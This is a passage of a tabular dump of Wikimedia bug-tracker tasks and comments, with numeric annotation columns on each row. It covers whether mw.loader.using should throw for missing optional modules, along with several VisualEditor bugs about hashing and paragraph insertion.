+**Severity**: normal",High,80.0,1366152300,1383254422.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-foy2pwxdiqiuemtnxzak,task_description,declined,True,c1,1,False,False,False,-11,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+230974,mw.loader.using should not throw an exception when an optional module doesn't exist,"I'll tentatively close this, then, to have less stuff seemingly blocking the release.",,,1383254422,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,3,True,,,17,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+230966,mw.loader.using should not throw an exception when an optional module doesn't exist,"I am happy for someone to agree with Krinle and close this as WONTFIX
+The mobile skin doesn't load mediawiki.page.ready now since we introduced Skin::getDefaultModules so the original problem isn't a problem.
+
+If someone really wants to load something optionally they can use a try / catch",,,1383252679,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,3,False,,,17,,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+230956,mw.loader.using should not throw an exception when an optional module doesn't exist,"Is this blocking the release, and if yes, why has nobody done anything about it? I sympathise with Krinkle's comment 7.",,,1383248523,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,3,True,,,17,,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+230946,mw.loader.using should not throw an exception when an optional module doesn't exist,"As the Target Milestone on this ticket has been set to 1.22.0:
+
+According to http://lists.wikimedia.org/pipermail/wikitech-l/2013-September/072030.html ""MediaWiki 1.22 is slated for release on November 30th, at the very latest.""
+
+If this is still intended to get fixed for 1.22.0, a patch is needed soon.",,,1380208136,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,3,True,,,12,,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,1,1
+230936,mw.loader.using should not throw an exception when an optional module doesn't exist,"This is now less of a problem in mobile as we have reduced the possibility of this happening to only situations where a module has been renamed/typed incorrectly/ is not available due to being in mobile mode rather than desktop. The tablesorter exception is no longer called.
+
+My main worry about this is that since ResourceLoader concatenates code one module failing can prevent the execution of another module. This seems wrong. I can understand an entire module from throwing an exception and not executing but stopping all javascript from executing seems wrong.
+
+I really don't understand the need for an exception under all circumstances. Could we not default the error handler to throwing an exception to at least allow developers to override it. For example a gadget might want to do something with a module if it's available but fail silently if it's not so it can be used on as many wiki's as possible that may or may not have the module it does something with)
+
+// module 1
+mw.loader.using( 'foobar', function() {
+} );
+
+// module 2
+(function(){ alert( 4 ); })()
+
+On a similar subject it would be great to see mw.loader.using return a jQuery.deferred object.",,,1370024390,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-5,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0
+230929,mw.loader.using should not throw an exception when an optional module doesn't exist,See bug 47882 to discuss my side note about mediawiki.page.ready - please leave discussion on this bug simply about behaviour for when a module doesn't exist.,,,1367334019,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+230924,mw.loader.using should not throw an exception when an optional module doesn't exist,"jQuery.tablesorter seems to be an optional dependency - the code is loaded in the client only on pages which need it (otherwise the 'mediawiki.page.ready' resource loader module would specify it as a hard dependency in its dependencies)
+
+If jquery.tablesorter was listed in the module manifest [1] for mediawiki.page.ready I could understand it throwing an exception when mediawiki.page.ready uses it - but it is /NOT/ thus the code in mediawiki.page.ready is making a bad assumption that that module exists and is available. In this case it is an optional module (otherwise it would be in the module manifest of a module that /has/ been knowingly added to the page) and the page will survive without it. I am sure however in other cases an exception might make more sense e.g. mw.using( 'mediawiki.modulethatwasrenamed' ). I don't know the resource loader code well enough but it seems it would be useful to distinguish between modules that do not exist and modules that have the wrong target.
+
+On a side note mediawiki.page.ready doesn't look very useful to mobile - input placeholders are not really a problem on modern mobile browsers, we don't use the collapsible code, as this bug reveals the tablesorter isn't expected to work, access keys are useless on mobile and CheckboxShiftClick - I have no idea what that is but doesn't sound very mobile friendly. For our particular problem we should probably simply disable this module on the mobile site - yet it seems to be needed for qunit (wtf)?! [2]
+
+[1]
+'mediawiki.page.ready' => array(
+		'scripts' => 'resources/mediawiki.page/mediawiki.page.ready.js',
+		'dependencies' => array(
+			'jquery.checkboxShiftClick',
+			'jquery.makeCollapsible',
+			'jquery.placeholder',
+			'jquery.mw-jump',
+			'mediawiki.util',
+		),
+		'targets' => array( 'desktop', 'mobile' ),
+	),
+
+
+Krinkle I disagree that we should enable jquery.tablesorter on mobile and we certainly shouldn't do it 'simply' - but that's another bug/discussion (see my comments on bug 47858) - let's not discuss that here.
+
+
+[2] Change-Id: I84e0512590de9ff2dbdf519d983a0c1c2d007194",,,1367333875,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-9,,0,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+230919,mw.loader.using should not throw an exception when an optional module doesn't exist,"For the curious, you can find the problematic behavior exemplified on:
+https://en.m.wikipedia.org/wiki/Wikipedia:Sortable_table",,,1367281374,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+230915,mw.loader.using should not throw an exception when an optional module doesn't exist,"**jgonera** wrote:
+
+Krinkle, I agree. If we deprecate the error callback, then throwing an error is OK. But let's make it consistent.
+
+Also, Jon, this particular mediawiki.action.edit case will become less important to us because we can, and hopefully soon will, provide our own custom edit form, instead of the one generated by EditPage.php.",,,1367280531,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0
+230910,mw.loader.using should not throw an exception when an optional module doesn't exist,"(In reply to comment #5)
+> That change should go out during next Tuesday's regular deployment
+
+For the deployment I think it is more feasible to simply enable jquery.tablesorter on mobile. We can decide whether to surpress error reporting on missing dependencies later.",,,1367280280,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,1
+230905,mw.loader.using should not throw an exception when an optional module doesn't exist,"I'm not convinced that this should be solved by suppressing the exception and turning it into an optional callback.
+
+When a dependency is specified in the module manifest that doesn't exist[1], we throw. This is currently the case and (afaik) acceptable behaviour because it is a fatal problem. The code must not be attempted to run without that other module.
+
+When a dependency is specified inline at runtime (wrapping the code in a function) which doesn't exist, we throw. I don't see why that would be any different.
+
+Yes, mw.loader.using has an error callback. But aside from this being almost never used (I haven't seen it in use, ever), it is unlikely that an implementation would be anything other than throwing an error. The module ought to be there.
+
+When a module is added to the page by an extension or by core, it is with the intention to make something happen on that page. If that module is unable to load its code, that should throw.
+
+ext.wikiLove.init, ext.articleFeedback.init, VisualEditor, mediawiki.page.ready. All of these load modules after a check or event. They should not be loaded on the page if their dependencies are not available, and loading it anyway should throw.
+
+I'd recommend: Look at this error and fix it.
+
+In this case it means a module is loaded on mobile but one of its dependencies is not yet compatible with mobile. That means it (=jquery.tablesorter) should either be made compatible, or the containing module removed from mobile for the mean while (=mediawiki.page.ready). This isn't my own idea, I've seen this happen before with various other modules and I'm merely suggesting we act the same.
+
+This error is good, because without it you wouldn't have known that we made a mistake and forgot one of the dependencies of mediawiki.page.ready when you enabled it on mobile. This is how we found them before as well, except before they were server-side dependencies and now they're inline.
+
+
+Having said that, I'd like a view from Roan and/or Trevor on this as well. Personally I'd like to keep this exception and instead deprecate the error callback.
+
+
+[1] Exist as in, in the current execution. Because since the 'target' property was created a module can exist in general, but be invisible to the current request context based on the 'target' parameter, thus making any errors related to it somewhat ambiguous (not visible in this target vs. module not existing in general - very different problems).",,,1367280136,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,True,,,-9,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+230897,mw.loader.using should not throw an exception when an optional module doesn't exist,Re-opening. Please don't mark bug fixed until they are approved and landed in master.,,,1367278982,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+230892,mw.loader.using should not throw an exception when an optional module doesn't exist,That change should go out during next Tuesday's regular deployment,,,1367012844,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+230887,mw.loader.using should not throw an exception when an optional module doesn't exist,Related URL: https://gerrit.wikimedia.org/r/60346 (Gerrit Change Ic2f81b725acac2086178e33033f10c4c80ae1573),,,1366670776,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+230882,mw.loader.using should not throw an exception when an optional module doesn't exist,"Well it's more a historic problem. If a module has been added via out->addModules previously requesting a module vs mw.loader.using was unlikely to throw an exception.
+
+Now with the targets property this becomes more muddled.. a module may or may not be there - it's at the mercy of the current target.
+
+My suggestion is to alter the implementation mw.loader.using so instead of throwing an error it accepts an error callback or even better is rewritten to return a deferred object.
+
+It should be up to the developer to throw an exception.",,,1366352302,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+230876,mw.loader.using should not throw an exception when an optional module doesn't exist,"**jgonera** wrote:
+
+So what is the problem exactly? How the proposed solutions fix it? Why wouldn't the developer do:
+
+try {
+    mw.loader.using( ...
+} catch ( e ) {
+    ...
+}",,,1366328222,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+230868,mw.loader.using should not throw an exception when an optional module doesn't exist,"""allow the user to handle the error themselves"" should read ""allow the developer to handle the error themselves""",,,1366152465,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0
+48895,VisualEditor: ve.getHash custom hashes are double-hashed,"Our current setup for custom hashing objects to to give them a method .getHash() which looks like this:
+
+T.prototype.getHash = function () {
+  var someSubsetOfT = // code here
+  return ve.getHash( someSubsetOfT );
+}
+
+and to invoke we use
+
+ ve.getHash( instanceOfT );
+
+However ve.getHash( instanceOfT ) === ve.getHash( ve.getHash( someSubsetOfT ) )
+which isn't really what we want.
+
+One solution would be to rename getHash to getHashableObject (or something) and have it return just someSubsetOfT directly.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1365087000,1365506219.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-kdifvxztyisvsjamslc7,task_description,resolved,True,c1,1,True,False,True,-13,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+231424,VisualEditor: ve.getHash custom hashes are double-hashed,"Reopened for 58241, but now that is done am closing again.",,,1365506219,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-kdifvxztyisvsjamslc7,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+231420,VisualEditor: ve.getHash custom hashes are double-hashed,"Ed, did you re-open because there's more to do, or because Jenkins dying meant the changes weren't merged? :-)",,,1365469450,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kdifvxztyisvsjamslc7,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0
+231416,VisualEditor: ve.getHash custom hashes are double-hashed,Related URL: https://gerrit.wikimedia.org/r/58241 (Gerrit Change I6a9b42facd97fbf49042d3a082121ec93659b9f1),,,1365463023,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kdifvxztyisvsjamslc7,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+231411,VisualEditor: ve.getHash custom hashes are double-hashed,Related URL: https://gerrit.wikimedia.org/r/58235 (Gerrit Change If11071d4b04a01e25102ffb57240882f650ee10d),,,1365460226,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kdifvxztyisvsjamslc7,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+48800,VisualEditor: Inserting two paragraphs inside another paragraph results in the original paragraphs being separated by a blank paragraph,"e.g. inserting <p>c</p><p>d</p> into <p>ab</p> between a and b results in
+
+<p>a</p><p>c</p><p></p><p>d</p><p>b</p>
+
+This is because fixUpInsertion fixes c & d separately and after inserting c (by closing out a) it decides to re-open the paragraph it closed (sensible), but the d comes along as splits that new paragraph (not sensible), resulting in a blank paragraph between the two.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1364923620,1366927098.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-yqzsqc62wfjcfr3spvjk,task_description,resolved,True,c1,1,True,False,True,-13,,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+225881,VisualEditor: Inserting two paragraphs inside another paragraph results in the original paragraphs being separated by a blank paragraph,NB: this bug is not restricted to paragraphs,,,1364923756,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-yqzsqc62wfjcfr3spvjk,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+225877,VisualEditor: Inserting two paragraphs inside another paragraph results in the original paragraphs being separated by a blank paragraph,https://gerrit.wikimedia.org/r/#/c/55791/,,,1364923669,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-yqzsqc62wfjcfr3spvjk,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+48799,VisualEditor: Inserting content at start/end of paragraph leaves leading/trailing empty paragraph,"e.g. inserting a <p>Bar</p> into <p>Foo</p> after the last 'o' results in:
+
+<p>Foo</p><p>Bar</p><p></p>
+
+The original paragraph is split, then the Bar is inserted, then the paragraph is reopened again.
+
+Or in transaction terms:
+
+insert: '<p>Bar</p>'
+
+coverts to
+
+insert: </p><p>Bar</p><p>'
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1364923440,1367020450.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-oohwmpwpyrfuvog4u4ox,task_description,resolved,True,c1,1,True,False,True,-13,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1
+225827,VisualEditor: Inserting content at start/end of paragraph leaves leading/trailing empty paragraph,Gerrit 61048 is now merged; marking as fixed - will go out in Monday's deploy train.,,,1367020450,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oohwmpwpyrfuvog4u4ox,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+225820,VisualEditor: Inserting content at start/end of paragraph leaves leading/trailing empty paragraph,For some reason the bug isn't reporting this: https://gerrit.wikimedia.org/r/#/c/61048/ addresses this and is waiting for jenkins-bot to merge it.,,,1367016710,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-oohwmpwpyrfuvog4u4ox,task_subcomment,,True,c1,1,False,,,-10,,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+48571,"VisualEditor: Store rendered html of MW aliens in index-value store, hashed on parameters","This is in preparation for performing transactions on templates and having to update the html asynchronously.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1364316180,1366130654.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-pxkrw7ecjvb7q433anxa,task_description,resolved,True,c1,1,True,False,True,-14,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+211422,"VisualEditor: Store rendered html of MW aliens in index-value store, hashed on parameters",This has been done in https://gerrit.wikimedia.org/r/#/c/57326/,,,1366130654,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-pxkrw7ecjvb7q433anxa,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+48465,VisualEditor: Create meta item for defaultsort,"If Parsoid has a meta thing for defaultsort that is
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1363989120,1367275111.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-4o3l42xhur3szmao22jr,task_description,resolved,True,c1,1,False,False,True,-15,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+230077,VisualEditor: Create meta item for defaultsort,This is now merged.,,,1367275094,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4o3l42xhur3szmao22jr,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+230070,VisualEditor: Create meta item for defaultsort,Related URL: https://gerrit.wikimedia.org/r/61374 (Gerrit Change I604a79c25e5b0315f7e6437da657977b0efa77db),,,1367246090,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4o3l42xhur3szmao22jr,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+230065,VisualEditor: Create meta item for defaultsort,"Now defined as:
+
+  {{DEFAULTSORT:foo}}
+
+->
+
+  <meta property=""mw:PageProp/categorydefaultsort"" content=""foo"">
+
+From https://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Category_default_sort_key
+
